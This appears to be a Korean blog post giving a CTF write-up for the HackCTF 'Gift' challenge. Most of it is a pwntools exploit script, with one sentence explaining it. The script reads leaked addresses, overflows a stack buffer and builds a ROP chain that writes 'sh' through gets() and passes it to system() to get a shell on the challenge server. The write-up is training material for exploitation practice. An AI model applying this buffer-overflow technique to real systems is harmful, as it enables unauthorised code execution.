Profile

youngsouk

youngsouk

[hackctf]Gift

from pwn import *

#p = process('./gift')
p = remote('ctf.j0n9hyun.xyz', 3018)
e = ELF('./gift')
pause()
context.log_level = "debug"

p_r = 0x0804866b
gets = 0x80483d0

payload = 'a' *0x84 + 'b' * 4

p.recvuntil(': ')
sh = (int(p.recv(9),16))
p.recv(1)
sys =(int(p.recv(10),16))

log.info('binsh : ' + hex(sh))
log.info('system : ' + hex(sys))

p.recv()
p.sendline('a')

payload += p32(gets)
payload += p32(p_r)
payload += p32(sh)

payload += p32(sys)
payload += 'a' * 4
payload += p32(sh)

p.sendline(payload)
p.sendline('sh\x00')

p.interactive()

binsh주소와 system의 주소를 주니 그것을 받아서 rop를 통해 binsh에 sh\x00을 넣고 그것을 system()의 인자로 주면 익스가 가능하다.

'CTF write-up > hackctf' 카테고리의 다른 글

[hackctf]rtc  (0) 2019.07.19
[hackctf]pwning  (0) 2019.07.18
[hackctf]look_at_me  (0) 2019.07.18
[hackctf]beginner_heap  (0) 2019.07.18
[hackctf]random  (0) 2019.07.18